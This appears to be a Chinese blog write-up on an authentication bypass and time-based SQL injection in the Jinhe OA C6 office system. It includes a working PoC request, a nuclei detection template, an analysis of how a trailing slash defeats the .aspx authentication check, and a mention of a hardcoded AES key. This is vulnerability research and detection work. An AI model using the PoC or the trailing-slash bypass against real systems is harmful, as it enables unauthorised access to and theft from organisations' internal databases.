首页 > 其他分享 >金和OA认证绕过

金和OA认证绕过

时间:2024-05-28 14:22:13浏览次数:25  
标签:Web JHSoft 请求 OA 认证 处理程序 绕过 aspx

https://docs.projectdiscovery.io/templates/reference/matchers
https://furina.org.cn/2023/10/05/Nuclei/
https://t.zsxq.com/bIoTf

认证绕过+sql注入

poc

GET /C6/JHSoft.Web.WorkFlat/RssModulesHttp.aspx/?interfaceID=1;WAITFOR%20DELAY%20'0:0:3'--

nuclei

id: jinhe-c6-sqli

info:
  name: JinHer
  author: rain
  severity: high
  description: Checks for time-based SQL injection at /C6/JHSoft.Web.WorkFlat/RssModulesHttp.aspx.
  tags: sqli,timebased

http:
  - raw:
      - |
        @timeout: 15s
        GET /C6/JHSoft.Web.WorkFlat/RssModulesHttp.aspx/?interfaceID=1;WAITFOR%20DELAY%20'0:0:3'-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'duration>=3'
          - 'contains(body, "连接失败")'
        condition: and

注意id里面不能出现中文字符。

认证绕过分析

第一天跟着别人文章走一遍,记录下关键步骤和知识点,第二天自己复现,完善笔记内容!
实际上这个漏洞分为两部分

  1. 路由模式导致的认证绕过,也就是代码审计的第一步,看路由。
  2. 后台接口sql注入。

路由

image.png
登陆页面url:/C6/Jhsoft.Web.login/PassWordSlideFull.aspx
image.png
可以看出,bin中存放DLL,dnspy反编译可以得到代码,JHSoft.Web.Reports文件夹中存放了aspx模板,类似于jsp。
以查找登录url为例,bin目录中
image.png
image.png
至此不难看出,/C6/Jhsoft.Web.login/PassWordSlideFull.aspx

  1. Jhsoft.Web.login对应Jhsoft.Web.login.dll
  2. PassWordSlideFull.aspx对应PassWordSlideFull

至此,路由结构分析完毕。

认证绕过

认证绕过导致多个接口SQL注入。

GET /C6/JHSoft.Web.WorkFlat/RssModulesHttp.aspx/?interfaceID=1;WAITFOR%20DELAY%20'0:0:3'--
仔细看这条POC,aspx后面接了个/,必须要这样写才能攻击成功,否则服务端会转发到登录页。

正常请求/C6/JHSoft.Web.WorkFlat/RssModulesHttp.aspx,会直接302跳转登录页
image.png

加上斜杠/后的请求,能正常访问该接口。
image.png

可以看出,如果不接/,也就访问不了这个后台接口,自然无法sqli,正是因为这个原因导致了全局的认证绕过。

注:重定向与转发不是一个东西,重定向是客户端行为,客户端可控,而转发是服务端行为,客户端不可控。

这里想了一下,能不能不跟随重定向,然后继续执行该模块下的方法?具体的操作方法是拦截返回包,然后drop掉。
image.png
这里没成功,但是有的场景下是可以的,后续补上案例。

前置知识

在 .NET 开发中,web.config 文件用于配置 ASP.NET 应用程序的各个方面,包括模块(modules)和处理程序(handlers)。这些配置项允许开发人员定义如何处理请求和响应,以及在请求处理过程中执行哪些特定的逻辑。

模块(Modules)

模块是处理 ASP.NET 请求生命周期中特定事件的组件。它们可以用于处理请求、响应、认证、授权、缓存、日志记录等。模块可以在请求生命周期的不同阶段插入自定义逻辑。
配置时使用 节点,类比于JavaWeb中的Filter过滤器和intercptor拦截器。

处理程序(Handlers)

处理程序是专门用于处理特定类型请求的组件。每个处理程序可以处理一种或多种特定的文件扩展名或 URL 模式。处理程序通常用于动态生成响应内容,例如处理 ASPX 页面、Web 服务请求等。
配置时使用 节点,类比于JavaWeb中的servlet。

web.config

web.config配置文件定义了路由的一些处理逻辑,处理顺序为modules——>handlers。

模块modules

<modules runAllManagedModulesForAllRequests="true"> //配置所有托管模块在所有请求中运行。
    
  //添加一个名为 JHSoft.CustomQuery 的模块,其类型为 JHSoft.CustomQuery.HttpUploadModule,程序集为 JHSoft.CustomQuery。
  //注:真正逻辑位于JHSoft.CustomQuery.HttpUploadModule类,类从 JHSoft.CustomQuery程序集中取得。
  <add name="JHSoft.CustomQuery" type="JHSoft.CustomQuery.HttpUploadModule, JHSoft.CustomQuery">
  </add>

  //添加一个名为 HttpUploadModule 的模块,其类型为 JHWeb.qqfly.Upload.HttpUploadModule,程序集为 JHWeb.qqfly.Upload。
  <add name="HttpUploadModule" type="JHWeb.qqfly.Upload.HttpUploadModule, JHWeb.qqfly.Upload">
  </add>

  //添加一个名为 JHSoft.Log 的模块,其类型为 JHSoft.Log.LogHttpModule,程序集为 JHSoft.Log。
  <add name="JHSoft.Log" type="JHSoft.Log.LogHttpModule, JHSoft.Log">
  </add>
</modules>

关注程序集JHSoft.Log配置,反编译\C6\bin\JHSoft.Log.dll
image.png
如果是以aspx结尾,有防注入和前台接口白名单放行,不在白名单内的接口需要认证。
以白名单内的/jhsoft.web.message/toolbar/jhwocframe.aspx为例,不需要认证。
image.png

处理程序handlers

<handlers>
  //移除默认处理扩展名为空的 URL 的处理程序。
  <remove name="ExtensionlessUrlHandler-Integrated-4.0" />
  //移除处理 HTTP OPTIONS 请求的方法处理程序。
  <remove name="OPTIONSVerbHandler" />
  //移除处理 HTTP TRACE 请求的方法处理程序。
  <remove name="TRACEVerbHandler" />
  //添加一个处理 ajax/*.ashx 路径的处理程序,支持 POST 和 GET 方法,请求将由 Ajax.PageHandlerFactory 类处理。
  <add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax"/>
  //添加一个处理 scissors.axd 路径的处理程序,支持所有 HTTP 方法,请求将由 BitmapCutter.Core.HttpHandler.BitmapScissors 类处理。
  <add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" />

  //重新添加默认处理扩展名为空的 URL 的处理程序,适用于集成模式和 .NET 4.0 运行时。
  //type没有指定程序集名称,意味着这个类型是从 .NET Framework 自带的程序集(通常是 System.Web.dll)中获取的
  <add name="ExtensionlessUrlHandler-Integrated-4.0" path="*." verb="*" type="System.Web.Handlers.TransferRequestHandler" preCondition="integratedMode,runtimeVersionv4.0" />
</handlers>

重点看最后一个配置。

  1. name="ExtensionlessUrlHandler-Integrated-4.0"
  2. path="*.":匹配所有带有后缀的请求。
  3. verb="*":指定处理程序响应的 HTTP 方法(动词)。这里表示处理所有 HTTP 方法(GET、POST、PUT、DELETE 等)。
  4. preCondition:指定处理程序的预条件,只有在满足这些条件时,处理程序才会被使用。

ExtensionlessUrlHandler是一种处理 URL 的技术,主要用于在 Web 应用中去掉 URL 中的文件扩展名,从而使 URL 更简洁和更具可读性。

例如info.php?id=1可以写成info/id/1 或者info?id=1
但这里的配置path="*.",假设正常请求为info.aspx?id=1,把请求变成info.aspx/?id=1依旧可以被识别。但info.aspx/id/1这样不行,暂时存疑,后面再看一下ExtensionlessUrlHandler的规则。

注意上面说到,如果是以aspx结尾,那么如果不在前台白名单中的接口则需要认证,否则就重定向掉。
这里就是利用了JHSoft.Log(先)和ExtensionlessUrlHandler(后)对url解析的差异。
若传入后台接口.aspx/,便可以绕过text.EndsWith(".aspx")校验,造成此判断失效,也就饶过了session认证。
image.png
这样也就不会进入.aspx后缀处理的相关流程,其中就包含认证。但是紧跟着ExtensionlessUrlHandler又可以识别这种带斜杠的接口。
至此,就可以访问任意接口了。

小结

modules中JHSoft.Log的认证绕过+handlers的ExtensionlessUrlHandler配合解析。
以后测试url时可以在路径末尾加个/,说不定就绕过认证了。
类似的还有;,在url中动手脚绕过认证的例子有很多,具体后面写到再补充。

SQL注入

这里没什么好说的,就是常规的拼接。可以用evertything搜索JHSoft.Web.WorkFlat.dll
image.png
image.png

另一处SQL注入

aes密钥硬编码

该模块下的AuthOtherServerLoginUrl也存在注入,注意构造闭合、加密要正确。这里试了一下没成功,到真实环境试了一下发现语句需要添加库名才能正确执行。
可能是程序没有指定库名的原因,sql语句无法执行。先放着
image.png

标签:Web,JHSoft,请求,OA,认证,处理程序,绕过,aspx
From: https://www.cnblogs.com/Rainy-Day/p/18217893

相关文章

  • 婚恋交友系统源码,相亲app源码,相亲交友源码,同城交友,VIP会员,红娘认证,原生源码,免费终身售
    一站式的采购流程,保姆式的技术支持和售后服务售前咨询--专属客服充分了解您的需求、解决疑问、了解产品、明确需求。提供方案--以专业的角度根据您实际情况与需求给予最具性价比、最合适的方案选择。购买产品--一次购买,终身使用,企业化的购买流程,更有保障。安装部署......
  • LLM 大模型学习必知必会系列(六):量化技术解析、QLoRA技术、量化库介绍使用(AutoGPTQ、A
    LLM大模型学习必知必会系列(六):量化技术解析、QLoRA技术、量化库介绍使用(AutoGPTQ、AutoAWQ)模型的推理过程是一个复杂函数的计算过程,这个计算一般以矩阵乘法为主,也就是涉及到了并行计算。一般来说,单核CPU可以进行的计算种类更多,速度更快,但一般都是单条计算;而显卡能进行的都是基......
  • 创建一个配置为信任所有HTTPS连接的RestTemplate实例,不验证服务器的SSL证书。这个示
    这个配置类使用背景:可参考博客:springboot使用restTemplate发送https请求忽略ssl证书https://jsonll.blog.csdn.net/article/details/129191580?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-1-1......
  • .NET 某和OA办公系统全局绕过漏洞分析
    转自先知社区作者:dot.Net安全矩阵原文链接:.NET某和OA办公系统全局绕过漏洞分析-先知社区0x01前言某和OA协同办公管理系统C6软件共有20多个应用模块,160多个应用子模块,从功能型的协同办公平台上升到管理型协同管理平台,并不断的更新完善,全面支撑企业发展。从此OAC6版本外......
  • 方法重载(Overload)与方法覆盖(Override)
    方法重载​对于类的方法(包括从父类中继承的方法),如果有2个方法的方法名相同,但参数不同,那么一个方法是另一个方法的重载方法。​重载方法必须满足以下条件:方法名相同方法的参数类型,个数,顺序至少有一项不同方法的返回类型可以不相同方法的修饰符可以不相同......
  • Vue3实战笔记(46)—Vue 3高效开发定制化Dashboard的权威手册
    文章目录前言Dashboard开发总结前言后台管理系统中的Dashboard是一种图形化的信息显示工具,通常用于提供一个特定领域或系统的概况。它可以帮助用户监控和分析数据,快速获取重要信息。可以帮助用户监控业务状况、分析数据、获取关键信息和管理资源。通过合理的设计和......
  • Kubernetes(k8s) v1.30.1 本地集群部署 安装metallb 支持LoadBalancer 生产环境 推荐
    1 metallb安装参考:Kubernetes(k8s)v1.30.1本地集群部署默认不支持LoadBalancermetallb来解决-CSDN博客2 删除Layer2模式配置kubectldelete-fIPAddressPool.yamlkubectldelete-fL2Advertisement.yamlkubectldelete-fdiscuz-srv.yaml3配置k8sMeta......
  • Windows系统使用Docker部署Focalboard团队协作工具详细流程
    文章目录前言1.使用Docker本地部署Focalboard1.1在Windows中安装Docker1.2使用Docker部署Focalboard2.安装Cpolar内网穿透工具3.实现公网访问Focalboard4.固定Focalboard公网地址前言本篇文章将介绍如何使用Docker本地部署Focalboard项目管理工具,并且结合cp......
  • Android Toast弹出消息在指定位置(setGravity)
    importandroid.widget.Toastimportandroid.view.Gravity默认Toast是显示在底部的,可以通过以下方法让其显示在顶部正中Toasttoast=Toast.makeText(SearchActivity.this,"取消关注失败",Toast.LENGTH_SHORT);toast.setGravity(Gravity.CENTER,0,0);toast.show();这样......
  • QT | 文件读写过程中丢失的 OD OA 问题解决
    今天发现QT以文本方式(QIODevice::Text)写入二进制0x0A会出现问题,写入的是一个字节(实际应该是两个字节),结果在Zed上看,显示是2个字节。明显每个0x0A前都多了个0x0D,导致我的bin文件全部都错位了期望的效果应该是原来按照字节流的形式输出文本时,ofstream会自动将输......